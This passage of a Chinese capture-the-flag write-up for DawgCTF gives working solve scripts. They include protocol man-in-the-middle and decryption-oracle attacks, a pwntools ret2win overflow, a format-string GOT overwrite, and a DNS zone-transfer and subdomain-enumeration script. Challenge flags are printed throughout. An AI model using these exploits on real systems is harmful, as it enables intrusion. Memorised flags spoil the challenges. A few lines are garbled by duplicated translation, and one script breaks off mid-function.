print("\n[!] No flag yet.")
print("[!] Useful values:")
print(" nA =", nA)
print(" nB =", nB)
print(" bob2 =", bob2_blob)
if __name__ == "__main__":
main()DawgCTF{FORM3RLY_S3CUR3}
Protocol Analysis 7: Mediation
Alice 的接收脚本明确要求收到的是 pubX, X, certX, nX, {X, nX, nA}privX,而不是 pubB, bob, certB, nB, {bob, nB, nA}privB;所以你把 Bob 的消息原样喂给 Alice,会被她拒绝。题面里也直接写了她“不跟 Bob 说话”。同时工具里给了你 gen_asym_key_pair、get_cert、asym_sign,这正是在提示你:用你自己的第三方身份 X 做中介。
正确利用链是:
- 从
/alice拿到pubA, alice, certA, nA - 把这条转给
/bob - Bob 回
pubB, bob, certB, nB, sigB - 生成
pubX/privX,给X申请证书 - 取 Bob 的
nB当成 Alice 看到的nX - 用
privX签X, nB, nA - 发给 Alice:
pubX, X, certX, nB, {X,nB,nA}privX - Alice 回
{alice, nB, nA}privA - 把这条转给 Bob,Bob 就给 flag。
直接上完整脚本:
import re
import requests
BASE = "https://protocols.live"
ATTACKER_NAME = "mallory"
def api(path: str, conn_id: int, content: str = "") -> str:
r = requests.post(
f"{BASE}{path}",
json={"conn_id": conn_id, "content": content},
headers={"Content-Type": "application/json"},
timeout=20,
)
print(f"[*] POST {path} -> {r.status_code}")
print(f"[*] BODY: {r.text}")
r.raise_for_status()
return r.json()["content"]
def split_items(content: str):
out = []
if not content:
return out
for part in content.split("|"):
t, v = part.split(":", 1)
out.append((t, v))
return out
def values_of_type(content: str, typ: str):
return [v for t, v in split_items(content) if t == typ]
def first_of_type(content: str, typ: str) -> str:
for t, v in split_items(content):
if t == typ:
return v
raise ValueError(f"missing {typ} in {content!r}")
def extract_flag(text: str):
m = re.search(r"DawgCTF\{[^}]+\}", text)
return m.group(0) if m else None
def main():
# 1) start challenge 7
r = requests.post(f"{BASE}/model/7", timeout=20)
print("[*] model status =", r.status_code)
print("[*] model body =", r.text)
r.raise_for_status()
conn_id = r.json()["conn_id"]
print("[+] conn_id =", conn_id)
# 2) Alice sends first: pubA, A, certA, nA
alice0 = api("/alice", conn_id, "")
print("[+] alice0 =", alice0)
a_items = split_items(alice0)
pubA = a_items[0][1] # k:pubA
nameA = a_items[1][1] # n:alice
certA = a_items[2][1] # d:certA
nA = a_items[3][1] # d:nA
print("[+] pubA =", pubA[:48] + "...")
print("[+] nameA =", nameA)
print("[+] certA =", certA[:48] + "...")
print("[+] nA =", nA)
# 3) Relay Alice's first message to Bob
bob1 = api("/bob", conn_id, alice0)
print("[+] bob1 =", bob1)
b_items = split_items(bob1)
pubB = b_items[0][1] # k:pubB
nameB = b_items[1][1] # n:bob
certB = b_items[2][1] # d:certB
nB = b_items[3][1] # d:nB
# b_items[4] is Bob's signature over (B, nB, nA), we do not need it
sigB = b_items[4][1]
print("[+] pubB =", pubB[:48] + "...")
print("[+] nameB =", nameB)
print("[+] certB =", certB[:48] + "...")
print("[+] nB =", nB)
print("[+] sigB =", sigB[:48] + "...")
# 4) Generate our own X keypair
kp = api("/util/gen_asym_key_pair", 0, "")
keys = values_of_type(kp, "k")
pubX, privX = keys[0], keys[1]
print("[+] pubX =", pubX[:48] + "...")
print("[+] privX =", privX[:48] + "...")
# 5) Get cert for X
cert_resp = api("/util/get_cert", 0, f"k:{pubX}|n:{ATTACKER_NAME}")
certX = first_of_type(cert_resp, "d")
print("[+] certX =", certX[:48] + "...")
# 6) Sign "X, nB, nA" with privX
# typed plaintext must match the protocol fields
to_sign = f"n:{ATTACKER_NAME}|d:{nB}|d:{nA}"
sig_resp = api("/util/asym_sign", 0, f"k:{privX}|t:{to_sign}")
sigX = first_of_type(sig_resp, "d")
print("[+] sigX =", sigX[:48] + "...")
# 7) Send mediated message to Alice:
# pubX, X, certX, nB, {X, nB, nA}privX
msg_to_alice = f"k:{pubX}|n:{ATTACKER_NAME}|d:{certX}|d:{nB}|d:{sigX}"
alice2 = api("/alice", conn_id, msg_to_alice)
print("[+] alice2 =", alice2)
# 8) Relay Alice's signed response back to Bob
bob3 = api("/bob", conn_id, alice2)
print("[+] bob3 =", bob3)
flag = extract_flag(bob3)
if flag:
print("[FLAG]", flag)
else:
print("[!] no flag regex found; raw final response above")
if __name__ == "__main__":
main()DawgCTF{F33L1NG_1NS3CUR3}
Protocol Analysis 8: Reflection
- 不能伪造 “alice + 自己 cert”,Bob 会直接报
Invalid cert,说明证书和名字绑定是检查的。 - Bob 最后一跳的字段顺序就是
d:<nonce>|d:<sig>,因为你把顺序反过来会直接报Invalid feild at index 0。 - 你用
X=alice去反射时,Bob 报的是Invalid sig,这说明主链没歪,但实现里 Bob 实际验的签名文本,和你假设的alice,nB,nA2不一致。 - 手册里第 8 题确实是“双方都在同一个角色里”,而且 Alice 第 2 步允许任意
pubX, X, certX, nX1,Bob 最后只收nA2, sig。
现在更看好的是:实现里 Bob 最后验的名字其实是 bob 那一路,而不是你之前一直试的 alice。
也就是第 8 题要发给 Alice 的不是:
pubA, alice, certA, nB而更可能是:
pubB, bob, certB, nB这样 Alice 会替你签出:
{bob, nB, nA2}privA再把这个 nA2|sig 丢回 Bob。
exp
import re
import secrets
import requests
BASE = "https://protocols.live"
def api(path: str, conn_id: int, content: str = "") -> str:
r = requests.post(
f"{BASE}{path}",
json={"conn_id": conn_id, "content": content},
headers={"Content-Type": "application/json"},
timeout=20,
)
print(f"[*] POST {path} -> {r.status_code}")
print(f"[*] BODY: {r.text}")
r.raise_for_status()
return r.json()["content"]
def split_items(content: str):
out = []
if not content:
return out
for part in content.split("|"):
t, v = part.split(":", 1)
out.append((t, v))
return out
def first_of_type(content: str, typ: str) -> str:
for t, v in split_items(content):
if t == typ:
return v
raise ValueError(f"missing {typ} in {content!r}")
def values_of_type(content: str, typ: str):
return [v for t, v in split_items(content) if t == typ]
def extract_flag(text: str):
m = re.search(r"DawgCTF\{[^}]+\}", text)
return m.group(0) if m else None
def verify_sig(pub_hex: str, sig_hex: str, typed_text: str):
try:
resp = api("/util/asym_verify", 0, f"k:{pub_hex}|d:{sig_hex}|t:{typed_text}")
print(f"[verify] {typed_text} -> {resp}")
return resp
except Exception as e:
print(f"[verify] {typed_text} -> ERROR {e}")
return None
def run_once(x_source: str, nonce_source: str):
"""
x_source:
'alice' => send pubA,alice,certA,<nonce> to Alice
'bob' => send pubB,bob,certB,<nonce> to Alice
nonce_source:
'nB' => use Bob's returned nonce
'rA' => use our nonce sent to Bob
"""
print("=" * 100)
print(f"[+] attempt x_source={x_source}, nonce_source={nonce_source}")
# new instance
r = requests.post(f"{BASE}/model/8", timeout=20)
print("[*] model status =", r.status_code)
print("[*] model body =", r.text)
r.raise_for_status()
conn_id = r.json()["conn_id"]
print("[+] conn_id =", conn_id)
# step 1 from Alice
alice0 = api("/alice", conn_id, "")
print("[+] alice0 =", alice0)
a0 = split_items(alice0)
pubA = a0[0][1]
nameA = a0[1][1]
certA = a0[2][1]
# step 1 from Bob
bob0 = api("/bob", conn_id, "")
print("[+] bob0 =", bob0)
b0 = split_items(bob0)
pubB = b0[0][1]
nameB = b0[1][1]
certB = b0[2][1]
print("[+] pubA =", pubA[:48] + "...")
print("[+] nameA =", nameA)
print("[+] certA =", certA[:48] + "...")
print("[+] pubB =", pubB[:48] + "...")
print("[+] nameB =", nameB)
print("[+] certB =", certB[:48] + "...")
# send Bob his recv #2: pubA, A, certA, nA
rA = secrets.token_hex(32)
msg_to_bob = f"k:{pubA}|n:{nameA}|d:{certA}|d:{rA}"
print("[+] msg_to_bob =", msg_to_bob[:150] + "...")
bob1 = api("/bob", conn_id, msg_to_bob)
print("[+] bob1 =", bob1)
b1 = split_items(bob1)
nB = b1[0][1]
sigB = b1[1][1]
print("[+] rA =", rA)
print("[+] nB =", nB)
print("[+] sigB =", sigB[:64] + "...")
# Optional instrumentation: discover Bob's own sign format
print("[*] verifying Bob signature candidates")
verify_sig(pubB, sigB, f"n:alice|d:{rA}|d:{nB}")
verify_sig(pubB, sigB, f"n:alice|d:{nB}|d:{rA}")
verify_sig(pubB, sigB, f"n:bob|d:{rA}|d:{nB}")
verify_sig(pubB, sigB, f"n:bob|d:{nB}|d:{rA}")
# choose what to feed Alice
if x_source == "alice":
pubX, nameX, certX = pubA, nameA, certA
elif x_source == "bob":
pubX, nameX, certX = pubB, nameB, certB
else:
raise ValueError("bad x_source")
if nonce_source == "nB":
nX1 = nB
elif nonce_source == "rA":
nX1 = rA
else:
raise ValueError("bad nonce_source")
msg_to_alice = f"k:{pubX}|n:{nameX}|d:{certX}|d:{nX1}"
print("[+] msg_to_alice =", msg_to_alice[:150] + "...")
alice1 = api("/alice", conn_id, msg_to_alice)
print("[+] alice1 =", alice1)
a1 = split_items(alice1)
nA2 = a1[0][1]
sigA = a1[1][1]
print("[+] nA2 =", nA2)
print("[+] sigA =", sigA[:64] + "...")
# Optional instrumentation: discover Alice sign format
print("[*] verifying Alice signature candidates")
verify_sig(pubA, sigA, f"n:{nameX}|d:{nX1}|d:{nA2}")
verify_sig(pubA, sigA, f"n:{nameX}|d:{nA2}|d:{nX1}")
verify_sig(pubA, sigA, f"n:alice|d:{nX1}|d:{nA2}")
verify_sig(pubA, sigA, f"n:alice|d:{nA2}|d:{nX1}")
verify_sig(pubA, sigA, f"n:bob|d:{nX1}|d:{nA2}")
verify_sig(pubA, sigA, f"n:bob|d:{nA2}|d:{nX1}")
# Bob's final parser clearly wants nonce first, sig second
final_msg = f"d:{nA2}|d:{sigA}"
print("[+] final_msg_to_bob =", final_msg[:150] + "...")
bob2 = api("/bob", conn_id, final_msg)
print("[+] bob2 =", bob2)
flag = extract_flag(bob2)
if flag:
print("[FLAG]", flag)
return flag
return None
def main():
# Tiny search space only
attempts = [
("bob", "nB"), # my top guess
("bob", "rA"),
("alice", "nB"),
("alice", "rA"),
]
for x_source, nonce_source in attempts:
try:
flag = run_once(x_source, nonce_source)
if flag:
return
except Exception as e:
print("[!] attempt failed:", repr(e))
print("[!] no flag found in tried combos")
if __name__ == "__main__":
main()DawgCTF{4SK_4ND_U_SH4LL_R3C31V3}
Protocol Analysis 9: Oracle
第九题的核心就是把 Alice 当成可无限调用的双层解密/重加密 oracle。
协议里 Bob 先给 Alice 一包
pubB, bob, certB, {{FLAG}pubA, bob}pubA, alice,
而 Alice 会对任意你提供的
pubX, X, certX, {{m}pubA, X}pubA, alice
执行“先用 Alice 私钥解外层,再用 Alice 私钥解内层,然后把明文 m 重加密给 X”,并且她会无限停在这个 recv-send 状态。也就是说,只要你把任意一个 Alice 公钥下的密文包装成合法请求喂给 Alice,她就会帮你解开并转给你。第 9 题正是利用这个 oracle:先让 Alice 解 Bob 的外层密文,拿到 Bob 里面那层 {FLAG}pubA;再把这层密文再喂一次 Alice,拿到 flag。工具接口里也正好给了你生成密钥对、申请证书、非对称加密/解密的 util。
直接上完整脚本:
import re
import requests
BASE = "https://protocols.live"
ATTACKER_NAME = "mallory"
def api(path: str, conn_id: int, content: str = "") -> str:
r = requests.post(
f"{BASE}{path}",
json={"conn_id": conn_id, "content": content},
headers={"Content-Type": "application/json"},
timeout=20,
)
print(f"[*] POST {path} -> {r.status_code}")
print(f"[*] BODY: {r.text}")
r.raise_for_status()
return r.json()["content"]
def split_items(content: str):
out = []
if not content:
return out
for part in content.split("|"):
t, v = part.split(":", 1)
out.append((t, v))
return out
def first_of_type(content: str, typ: str) -> str:
for t, v in split_items(content):
if t == typ:
return v
raise ValueError(f"missing {typ} in {content!r}")
def values_of_type(content: str, typ: str):
return [v for t, v in split_items(content) if t == typ]
def extract_flag(text: str):
m = re.search(r"DawgCTF\{[^}]+\}", text)
return m.group(0) if m else None
def asym_encrypt(key_hex: str, typed_plaintext: str) -> str:
# typed_plaintext example: "d:<cipher>|n:mallory"
resp = api("/util/asym_encrypt", 0, f"k:{key_hex}|t:{typed_plaintext}")
return first_of_type(resp, "d")
def asym_decrypt_auto(cipher_hex: str, priv_hex: str, pub_hex: str) -> str:
# 和前几题一样,先试 priv,再试 pub,兼容服务实现细节
for key_hex, label in [(priv_hex, "priv"), (pub_hex, "pub")]:
try:
pt = api("/util/asym_decrypt", 0, f"k:{key_hex}|d:{cipher_hex}")
print(f"[+] asym_decrypt ok with {label}")
return pt
except Exception as e:
print(f"[!] asym_decrypt failed with {label}: {e}")
raise RuntimeError("asym_decrypt failed with both priv and pub")
def decrypt_alice_response(resp_content: str, privX: str, pubX: str):
"""
Alice returns:
k:pubA|n:alice|d:certA|d:<outer_to_X>|n:X
Need two decryptions:
outer_to_X -> d:<inner_to_X>|n:alice
inner_to_X -> actual plaintext m
"""
items = split_items(resp_content)
dvals = [v for t, v in items if t == "d"]
if len(dvals) < 2:
raise RuntimeError(f"unexpected Alice response: {resp_content}")
outer_to_x = dvals[1]
# First layer
layer1 = asym_decrypt_auto(outer_to_x, privX, pubX)
print("[+] layer1 =", layer1)
inner_to_x = first_of_type(layer1, "d")
# Second layer
layer2 = asym_decrypt_auto(inner_to_x, privX, pubX)
print("[+] layer2 =", layer2)
return layer2
def main():
# 1) start challenge 9
r = requests.post(f"{BASE}/model/9", timeout=20)
print("[*] model status =", r.status_code)
print("[*] model body =", r.text)
r.raise_for_status()
conn_id = r.json()["conn_id"]
print("[+] conn_id =", conn_id)
# 2) Alice initial send: pubA, alice, certA
alice0 = api("/alice", conn_id, "")
print("[+] alice0 =", alice0)
a0 = split_items(alice0)
pubA = a0[0][1]
nameA = a0[1][1]
certA = a0[2][1]
print("[+] pubA =", pubA[:48] + "...")
print("[+] nameA =", nameA)
print("[+] certA =", certA[:48] + "...")
# 3) Give Alice's initial packet to Bob to obtain Bob's wrapped flag
bob1 = api("/bob", conn_id, alice0)
print("[+] bob1 =", bob1)
b1 = split_items(bob1)
pubB = b1[0][1]
nameB = b1[1][1]
dvals_b1 = [v for t, v in b1 if t == "d"]
if len(dvals_b1) < 2:
raise RuntimeError(f"unexpected Bob response: {bob1}")
certB = dvals_b1[0]
bob_outer_cipher = dvals_b1[1] # this is {{FLAG}pubA,bob}pubA
print("[+] pubB =", pubB[:48] + "...")
print("[+] nameB =", nameB)
print("[+] certB =", certB[:48] + "...")
print("[+] bob_outer_cipher=", bob_outer_cipher[:64] + "...")
# 4) Generate our own keypair and cert
kp = api("/util/gen_asym_key_pair", 0, "")
keys = values_of_type(kp, "k")
pubX, privX = keys[0], keys[1]
print("[+] pubX =", pubX[:48] + "...")
print("[+] privX =", privX[:48] + "...")
cert_resp = api("/util/get_cert", 0, f"k:{pubX}|n:{ATTACKER_NAME}")
certX = first_of_type(cert_resp, "d")
print("[+] certX =", certX[:48] + "...")
# ------------------------------------------------------------------
# Stage 1: Ask Alice to decrypt Bob's OUTER ciphertext.
#
# We build a valid Alice input whose inner ciphertext is bob_outer_cipher:
# outer1 = Enc_A( d:bob_outer_cipher | n:mallory )
# Then send:
# pubX, mallory, certX, outer1, alice
#
# Alice will decrypt bob_outer_cipher and re-encrypt its plaintext to us.
# That plaintext should contain the INNER ciphertext {FLAG}pubA.
# ------------------------------------------------------------------
wrapped1_plain = f"d:{bob_outer_cipher}|n:{ATTACKER_NAME}"
wrapped1 = asym_encrypt(pubA, wrapped1_plain)
print("[+] wrapped1 =", wrapped1[:64] + "...")
msg1_to_alice = f"k:{pubX}|n:{ATTACKER_NAME}|d:{certX}|d:{wrapped1}|n:alice"
print("[+] msg1_to_alice =", msg1_to_alice[:160] + "...")
alice1 = api("/alice", conn_id, msg1_to_alice)
print("[+] alice1 =", alice1)
stage1_plain = decrypt_alice_response(alice1, privX, pubX)
print("[+] stage1_plain =", stage1_plain)
# Expected something like: d:<flag_cipher_to_A>|n:bob
stage1_items = split_items(stage1_plain)
flag_cipher_to_a = None
for t, v in stage1_items:
if t == "d":
flag_cipher_to_a = v
break
if not flag_cipher_to_a:
raise RuntimeError(f"could not extract inner flag ciphertext from: {stage1_plain}")
print("[+] flag_cipher_to_a =", flag_cipher_to_a[:64] + "...")
# ------------------------------------------------------------------
# Stage 2: Ask Alice to decrypt the INNER ciphertext {FLAG}pubA.
#
# outer2 = Enc_A( d:flag_cipher_to_a | n:mallory )
# Alice will decrypt it and re-encrypt the actual FLAG to us.
# ------------------------------------------------------------------
wrapped2_plain = f"d:{flag_cipher_to_a}|n:{ATTACKER_NAME}"
wrapped2 = asym_encrypt(pubA, wrapped2_plain)
print("[+] wrapped2 =", wrapped2[:64] + "...")
msg2_to_alice = f"k:{pubX}|n:{ATTACKER_NAME}|d:{certX}|d:{wrapped2}|n:alice"
print("[+] msg2_to_alice =", msg2_to_alice[:160] + "...")
alice2 = api("/alice", conn_id, msg2_to_alice)
print("[+] alice2 =", alice2)
stage2_plain = decrypt_alice_response(alice2, privX, pubX)
print("[+] stage2_plain =", stage2_plain)
flag = extract_flag(stage2_plain)
if flag:
print("[FLAG]", flag)
else:
print("[!] no regex flag found; raw plaintext above")
if __name__ == "__main__":
main()DawgCTF{ST4R3_1NTO_TH3_VO1D}
Cryptography
Artemis Gordon
https://www.moma.org/audio/playlist/298/4410
思路很短:这组月亮图不是普通“月相猜谜”,而是 Leandro Katz 的 Lunar Alphabet(用不同月相照片对应字母)的变体。MoMA 对这套字母的描述就是“用月相构造字母表”,dCode 也给出了对应字母的月相图。把题目里的 7 张图从左到右对照后,正好是 M O O N M A N。
DawgCTF{MOONMAN}
I Hate Physics!
题目目录里只有 STUDYME.txt 这个笔记文件,内容被刻意排成很多行。把每一行的首字符和尾字符依次拼接,前 4 行就会得到 DawgCTF{,继续拼下去会得到完整字符串 DawgCTF{therm0dyn4mic5sucks!}Thisisn0tpartoftheflag!,所以真正的 flag 就是到第一个 } 为止。
exp:
# exp.py
from pathlib import Path
import sys
def extract_flag(path: str) -> str:
data = Path(path).read_text(encoding="utf-8", errors="ignore").splitlines()
out = []
for line in data:
s = line.rstrip("\r\n")
if not s.strip():
continue
# 取每行首尾的“非空白字符”
left = next((c for c in s if not c.isspace()), "")
right = next((c for c in reversed(s) if not c.isspace()), "")
if left:
out.append(left)
if right:
out.append(right)
joined = "".join(out)
start = joined.find("DawgCTF{")
if start == -1:
raise ValueError("没找到 DawgCTF{")
end = joined.find("}", start)
if end == -1:
raise ValueError("没找到结束的 }")
return joined[start:end + 1]
if __name__ == "__main__":
path = sys.argv[1] if len(sys.argv) > 1 else "STUDYME.txt"
print(extract_flag(path))DawgCTF{therm0dyn4mic5sucks!}Vault Breaker
这题给了一张带有奇怪符号的便条,外加一句提示:“They told me to use a long password.... I made it longer”
一开始很容易被这句话带偏,去想什么“把缩写写长”“把单词拉长”之类的方向,但真正关键在于便条上的符号本身。观察上传的 PDF 里的那串符号,可以发现它们都由:
- 方框/开口框的线条
- 以及 0、1、2 个点
组成。
这类结构明显不是普通替换,而是 Pigpen 类密码。进一步结合题目的 Disney 背景(Donald、Scrooge),这里对应的是 Dada Urka 这一类和猪圈密码很像的变体。
把便条里的每个符号拆开看,本质上就是:
- 用框线形状表示一组字母位置
- 用点的数量区分同一组中的不同字母
逐个对照表去翻译,就能得到整串明文。
解出来的结果是:EXTREMELYLONGPASSWORD
DawgCTF{EXTREMELY_LONG_PASSWORD}
Six Seven
这题直接爆破首字节就行。
chall.py 里加密方式是:
- 随机取 1 字节
start = os.urandom(1) - 令
key[0] = start - 之后每个字节都由前一个字节经过
gen()递推出来 - 最后
ct = key xor flag。
给出的密文是:
9f2eadbd998e9ca1aab6bfbba9bf85afa9bf85a9bfb9a8bfaea985b3b485a3b5afa885a9aea8bfbbb785b9b3aab2bfa8a985ece3b8bcbfebe3eebbbceee9bceab9bea7。
因为题目代码还断言了 flag 前缀是 DawgCTF{,所以只要把 256 个可能的首字节都试一遍,生成整条 key,再和密文异或,筛出以 DawgCTF{ 开头的结果即可。这个思路完全来自题目代码本身。
exp:
from binascii import unhexlify
ct = bytes.fromhex(
"9f2eadbd998e9ca1aab6bfbba9bf85afa9bf85a9bfb9a8bfaea985b3b485a3b5"
"afa885a9aea8bfbbb785b9b3aab2bfa8a985ece3b8bcbfebe3eebbbceee9bcea"
"b9bea7"
)
def gen(start):
return (((6 * 7) * (start - 6) * 7) + ((start * 6) - 7) * (start ^ 6)) % 255
known = b"DawgCTF{"
for s in range(256):
key = bytearray([s])
for i in range(1, len(ct)):
key.append(gen(key[i - 1]))
pt = bytes(c ^ k for c, k in zip(ct, key))
if pt.startswith(known):
print(pt.decode())
breakDawgCTF{please_use_secrets_in_your_stream_ciphers_69bfe194af43f0cd}
Pwn
Stacking Flags
就是标准 ret2win。源码里 vulnerable_function() 对 char buffer[64] 调了 gets(buffer),而 win() 会直接打开 flag.txt 并输出;文件头注释还写了编译参数里有 -fno-stack-protector -no-pie,所以思路就是溢出覆盖返回地址,直接跳到 win。
在常见的 amd64 栈帧下,这里偏移就是 64 + 8 = 72,也就是 buffer 到保存的返回地址之间隔了 64 字节缓冲区和 8 字节 saved RBP。源码也显示 main() 是先调用 vulnerable_function(),所以我们不需要等后面的 printf("win() is at: %p\n", win),直接在函数返回时劫持控制流就行。
直接给你 pwntools 脚本:
from pwn import *
HOST = "nc.umbccd.net"
PORT = 8921
context.arch = "amd64"
context.os = "linux"
context.log_level = "info"
# 本题是典型 ret2win
OFFSET = 72
# 源码注释里的编译参数含 -no-pie,所以 win 地址固定
WIN_ADDR = 0x4011a6
def main():
io = remote(HOST, PORT)
payload = flat(
b"A" * OFFSET,
p64(WIN_ADDR),
)
io.sendline(payload)
io.interactive()
if __name__ == "__main__":
main()DawgCTF{$taching_br1cks}
Just Print It
这题源码里,fgets 读入你的输入后直接 printf(buffer),存在格式化字符串漏洞;而且后面还会执行一次 puts("\nGoodbye!")。同一个源码里还有 win(),它会打开 flag.txt 并打印出来。源码顶部还写了编译参数注释,说明是按 -fno-stack-protector -no-pie ... 这一类方式编的。最稳的利用就是把 puts@GOT 改成 win,让程序走到 puts 时直接进 win()。
我按题目源码复现了一份,常见构建下这几个值是:
OFFSET = 6偏移量 = 6win = 0x401196胜利 = 0x401196puts@got = 0x404000
你直接用这个纯远程 pwntools 脚本:
from pwn import *
HOST = "nc.umbccd.net"
PORT = 8925
context.arch = "amd64"
context.log_level = "info"
OFFSET = 6
WIN = 0x401196
PUTS_GOT = 0x404000
def try_once(off):
io = remote(HOST, PORT)
payload = fmtstr_payload(
off,
{PUTS_GOT: WIN},
write_size="short"
)
io.sendline(payload)
data = io.recvall(timeout=2)
io.close()
return data
for off in [6, 7, 8, 9]:
log.info(f"trying offset = {off}")
out = try_once(off)
print(out.decode("latin-1", errors="ignore"))
if b"Flag:" in out or b"DawgCTF{" in out:
log.success(f"success with offset {off}")
breakDawgCTF{s3v3r_PWNed!}
Reverse
Cheater Cheater...
- 游戏胜利条件写死成了
score >= 6942069 - 胜利后会把
score当作参数,经过((10*score)+1)^4((10*分数)+1)^4
生成 AES key 和 IV,然后去解密一段 Base64 密文,解出来的就是 flag
而高分栏本身就是:
Highscore: 6942069最高评分:6942069
所以直接拿 score = 6942069 去跑那段解密逻辑即可得到 flag。
exp:
from base64 import b64decode
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
def unpad_pkcs5(data: bytes) -> bytes:
pad = data[-1]
if pad < 1 or pad > 16:
raise ValueError(f"bad padding: {pad}")
if data[-pad:] != bytes([pad]) * pad:
raise ValueError("invalid PKCS5/PKCS7 padding")
return data[:-pad]
def decrypt_flag(score: int) -> str:
# JTextBasket.revalidate():
# key_str = ((10*score)+1)^4
# key = hexStringToByteArray(key_str)
# iv = hexStringToByteArray(reverse(key_str))
x = (10 * score + 1) ** 4
key_str = str(x)
key = bytes.fromhex(key_str)
iv = bytes.fromhex(key_str[::-1])
ct = b64decode("6Ach6HiD0JmCc1L+RwxDRzhW3sC1kS6XydgSuWVFpxVXRU8EjfuMxIMoIzMwK/ii")
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
decryptor = cipher.decryptor()
pt = decryptor.update(ct) + decryptor.finalize()
return unpad_pkcs5(pt).decode("utf-8")
def main():
# SimplePacMan 里写死的胜利分数 / high score
score = 6942069
flag = decrypt_flag(score)
print(flag)
if __name__ == "__main__":
main()DawgCTF{ch3at3R_ch34t3r_pumk1n_34t3r!}
Dust to Dust
这题本质就是把 output.txt 反解回原始二值图。
压缩规则在 encoder.c 里很直接:
- 原图每次取一个
2 x 3的二进制块,一共 6 bit - 把这 6 bit 当二进制数,转成
0..63 - 再加上
0x20变成可打印字符写进output.txt - 每一行结尾用
}分隔,整个文件最后用~结尾
所以反过来做就行:
- 按
}拆行,去掉最后的~ - 每个字符减
32 - 转成 6 位二进制
- 前 3 位还原到上一行,后 3 位还原到下一行
- 最后把 0/1 渲染成黑白图
下面给你一个能直接跑的 exp.py:
from pathlib import Path
from PIL import Image
import numpy as np
def decode_output(path="output.txt"):
data = Path(path).read_text()
assert data.endswith("~"), "bad format: missing ~"
rows = data[:-1].split("}")
# 最后一个通常是空串,因为 writeArray 每行后都写了 '}'
if rows and rows[-1] == "":
rows.pop()
decoded_rows = []
for row in rows:
top = []DawgCTF{Th1s_w4s_1nspIr3d_By_UND3RT4L3!}
Data Needs Splitting
题目说把附件放到了dns服务器上,写个脚本提取下数据:
#!/usr/bin/env python3
from __future__ import annotations
import base64
import binascii
import re
import sys
from pathlib import Path
from typing import Iterable
import dns.exception
import dns.query
import dns.resolver
import dns.zone
DOMAIN = "data-needs-splitting.umbccd.net"
OUTDIR = Path("dns_split_output")
OUTDIR.mkdir(exist_ok=True)
def uniq_keep_order(items: Iterable[str]) -> list[str]:
seen: set[str] = set()
out: list[str] = []
for item in items:
if item not in seen:
seen.add(item)
out.append(item)
return out
def get_txt(name: str, resolver: dns.resolver.Resolver) -> list[str]:
try:
answers = resolver.resolve(name, "TXT")
except Exception:
return []
out: list[str] = []
for rdata in answers:
try:
text = b"".join(rdata.strings).decode("utf-8", errors="ignore")
except Exception:
try:
text = str(rdata).strip('"')
except Exception:
continue
if text:
out.append(text)
return out
def try_axfr(domain: str, resolver: dns.resolver.Resolver) -> list[tuple[str, list[str]]]:
results: list[tuple[str, list[str]]] = []
try:
ns_answers = resolver.resolve(domain, "NS")
except Exception:
return results
for ns_rdata in ns_answers:
ns_host = str(ns_rdata.target).rstrip(".")
try:
ns_ip = resolver.resolve(ns_host, "A")[0].to_text()
except Exception:
continue
try:
zone = dns.zone.from_xfr(dns.query.xfr(ns_ip, domain, timeout=5))
if zone is None:
continue
for name, node in zone.nodes.items():
fqdn = f"{name}.{domain}".replace("@.", "")
txts = get_txt(fqdn, resolver)
if txts:
results.append((fqdn, txts))
except dns.exception.DNSException:
continue
except Exception:
continue
return results
def candidate_subdomains() -> list[str]:
labels = [
"",
"www",
"data",
"file",
"bin",
"part",
"parts",
"chunk",
"chunks",
"split",
"txt",
"payload",
"program",
"download",
]
# 常见编号
for i in range(0, 300):
labels.append(str(i))
labels.append(f"part{i}")
labels.append(f"chunk{i}")
return uniq_keep_order(labels)
def is_hex_string(s: str) -> bool:
s = re.sub(r"\s+", "", s)
return len(s) % 2 == 0 and bool(s) and re.fullmatch(r"[0-9a-fA-F]+", s) is not None
def maybe_b64(s: str) -> bool:
s = re.sub(r"\s+", "", s)
return bool(s) and len(s) % 4 == 0 and re.fullmatch(r"[A-Za-z0-9+/=]+", s) is not None
def decode_candidates(raw: str, stem: str) -> None:
raw = raw.strip()
if not raw:
return
# 原始文本
(OUTDIR / f"{stem}.txt").write_text(raw, encoding="utf-8", errors="ignore")
compact = re.sub(r"\s+", "", raw)
# hex
if is_hex_string(compact):
try:
data = bytes.fromhex(compact)
(OUTDIR / f"{stem}.from_hex.bin").write_bytes(data)
print(f"[+] Wrote {stem}.from_hex.bin ({len(data)} bytes)")
except Exception:
pass
# base64
if maybe_b64(compact):
try:
data = base64.b64decode(compact, validate=True)
(OUTDIR / f"{stem}.from_b64.bin").write_bytes(data)
print(f"[+] Wrote {stem}.from_b64.bin ({len(data)} bytes)")
except Exception:
pass
# 尝试如果是由逗号/分号/管道分隔
for sep_name, sep in [("comma", ","), ("semicolon", ";"), ("pipe", "|")]:
if sep not in raw:
continue
joined = "".join(part.strip() for part in raw.split(sep) if part.strip())
if joined and joined != compact:
decode_candidates(joined, f"{stem}_{sep_name}_joined")
def collect_dns_chunks(domain: str) -> dict[str, list[str]]:
resolver = dns.resolver.Resolver()
resolver.lifetime = 3
resolver.timeout = 3
found: dict[str, list[str]] = {}
# 根域记录
for rtype in ["TXT", "CNAME", "A", "AAAA", "NS", "SOA"]:
try:
answers = resolver.resolve(domain, rtype)
vals = [str(a) for a in answers]
if vals:
found[f"{domain}:{rtype}"] = vals
except Exception:
pass
# AXFR
axfr_results = try_axfr(domain, resolver)
for fqdn, txts in axfr_results:
if txts:
found[f"{fqdn}:TXT"] = txts
# 常见子域枚举
for label in candidate_subdomains():
fqdn = domain if label == "" else f"{label}.{domain}"
txts = get_txt(fqdn, resolver)
if txts:
found[f"{fqdn}:TXT"] = txts
return found
def write_report(found: dict[str, list[str]]) -> None:
report_lines: list[str] = []
for key in sorted(found):
report_lines.append(f"[{key}]")
for value in found[key]:
report_lines.append(value)
report_lines.append("")
(OUTDIR / "report.txt").write_text("\n".join(report_lines), encoding="utf-8")
def attempt_reassembly(found: dict[str, list[str]]) -> None:
# 1) 单独保存每个 TXT 内容
for key, values in found.items():
for i, value in enumerate(values):
safe_key = re.sub(r"[^A-Za-z0-9_.-]+", "_", key)
decode_candidates(value, f"{safe_key}_{i}")
# 2) 按子域编号拼接
numbered: list[tuple[int, str]] = []
for key, values in found.items():
host = key.split(":")[0]
first_label = host.split(".")[0]
m = re.fullmatch(r"(?:part|chunk)?(\d+)", first_label)
if m and values:
numbered.append((int(m.group(1)), "".join(values)))
if numbered:
numbered.sort(key=lambda x: x[0])
combined = "".join(v for _, v in numbered)
